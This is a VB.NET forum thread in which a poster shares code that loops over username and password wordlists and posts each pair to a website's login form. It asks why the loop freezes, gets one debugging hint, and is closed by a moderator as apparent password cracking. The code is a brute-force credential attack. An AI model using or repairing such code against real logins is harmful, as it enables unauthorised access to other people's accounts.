Results 1 to 5 of 5

Thread: Can't try multiple logins using httpwebrequests in VB.NET

  1. #1

    Thread Starter
    New Member Whodame's Avatar
    Join Date
    Oct 2015
    Posts
    4

    Post Can't try multiple logins using httpwebrequests in VB.NET

    I want to try logging in a website using httpwebrequest without knowing what the password and username is. The problem is that I can only try the first combination of username and password without a problem. As soon as the application reaches the second request it instantly freezes and nothing happens at all.

    This is the code I'm using:

    Code:
    For Each x As String In System.IO.File.ReadAllLines(txtUser.Text)
                For Each y As String In System.IO.File.ReadAllLines(txtPass.Text)
                    Dim tempcookie As New CookieContainer
    
                    Dim postreq1 As HttpWebRequest = DirectCast(WebRequest.Create("https://WEBSITE.COM/"), HttpWebRequest)
                    Dim postresponse1 As HttpWebResponse
                    postresponse1 = DirectCast(postreq1.GetResponse(), HttpWebResponse)
                    postreq1 = DirectCast(HttpWebRequest.Create("https://WEBSITE.COM/"), HttpWebRequest)
                    postreq1.UserAgent = "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0"
                    postreq1.Timeout = 60000
                    postreq1.CookieContainer = tempcookie
                    postreq1.Method = "get"
                    postreq1.AllowAutoRedirect = True
                    postreq1.ContentType = "application/x-www-form-urlencoded"
                    postresponse1 = DirectCast(postreq1.GetResponse(), HttpWebResponse)
                    Dim datastream As Stream = postresponse1.GetResponseStream()
                    Dim reader As New StreamReader(datastream)
                    Dim responsefromserver As String = reader.ReadToEnd()
    
                    Dim postdata As String = "uname=" & x & "&pass=" & y & "&submit=%CE%95%CE%AF%CF%83%CE%BF%CE%B4%CE%BF%CF%82"
                    Dim encoding As New UTF8Encoding
                    Dim bytesdata As Byte() = encoding.GetBytes(postdata)
                    Dim postreq As HttpWebRequest = DirectCast(WebRequest.Create("https://WEBSITE.COM/"), HttpWebRequest)
                    postreq.Method = "POST"
                    postreq.KeepAlive = True
                    postreq.CookieContainer = tempcookie
                    postreq.ContentType = "application/x-www-form-urlencoded"
                    postreq.Referer = "https://WEBSITE.COM/"
                    postreq.UserAgent = "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0"
                    postreq.ContentLength = bytesdata.Length
                    Dim postreqstream As Stream = postreq.GetRequestStream()
                    postreqstream.Write(bytesdata, 0, bytesdata.Length)
                    postreqstream.Close()
                    Dim postresponse As HttpWebResponse
                    postresponse = DirectCast(postreq.GetResponse(), HttpWebResponse)
                    tempcookie.Add(postresponse.Cookies)
                    logincookie = tempcookie
                    Dim postreqreader As New StreamReader(postresponse.GetResponseStream())
                    Dim thepage As String = postreqreader.ReadToEnd
                Next
            Next
    What is wrong with it? I tried adding
    Code:
    postreq1.GetResponse.Close()
    and
    Code:
    datastream.Close()
    but it still times out at the second time.

    Thanks in advance!

  2. #2
    Bad man! ident's Avatar
    Join Date
    Mar 2009
    Location
    Cambridge
    Posts
    5,398

    Re: Can't try multiple logins using httpwebrequests in VB.NET

    Do you really think we will help you try to crack passwords? You don't even understand the code you posted. You just signed up and agreed to the TOS and instantly broke them.

  3. #3

    Thread Starter
    New Member Whodame's Avatar
    Join Date
    Oct 2015
    Posts
    4

    Re: Can't try multiple logins using httpwebrequests in VB.NET

    Quote Originally Posted by ident View Post
    Do you really think we will help you try to crack passwords? You don't even understand the code you posted. You just signed up and agreed to the TOS and instantly broke them.
    Oh, it's him again, the one and only ident! Do you really think that if I intended to use the code for illegal purposes I would just post it here as it is? I would edit it and generalise so as to look like I'm not even trying to login to a website but serve a totally different purpose instead. But I didn't, simply because I'm not even trying to access a specific website. I'm just experimenting with http requests on an open source platform called Open eClass. Now, unless you are willing to help me (cause yes, you were actually right at the part that you said that I don't fully understand the code and that's because I started learning VB recently, I wouldn't register on these forums if I didn't face any problem understanding it anyways) could you please just stop replying at this thread? Thanks bruh!

  4. #4
    Hyperactive Member
    Join Date
    Nov 2014
    Posts
    428

    Re: Can't try multiple logins using httpwebrequests in VB.NET

    Hey Whodame I also agree with ident. Your code totally seems like a password cracking system. But as you said you experimenting with Open eClass platform that also might be true. But please describe what is your experiment purpose exactly. Just let me give you a hint on your code. In your code you used both GET method and POST method one after another don't know why. That might be causing the issue your facing. Try with one single method first.

  5. #5
    Super Moderator FunkyDexter's Avatar
    Join Date
    Apr 2005
    Location
    An obscure body in the SK system. The inhabitants call it Earth
    Posts
    7,900

    Re: Can't try multiple logins using httpwebrequests in VB.NET

    I want to try logging in a website using httpwebrequest without knowing what the password and username is
    I can't think of a single legitimate reason you'd want to do this so I'm closing the thread.
    The best argument against democracy is a five minute conversation with the average voter - Winston Churchill

    Hadoop actually sounds more like the way they greet each other in Yorkshire - Inferrd

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  



Click Here to Expand Forum to Full Width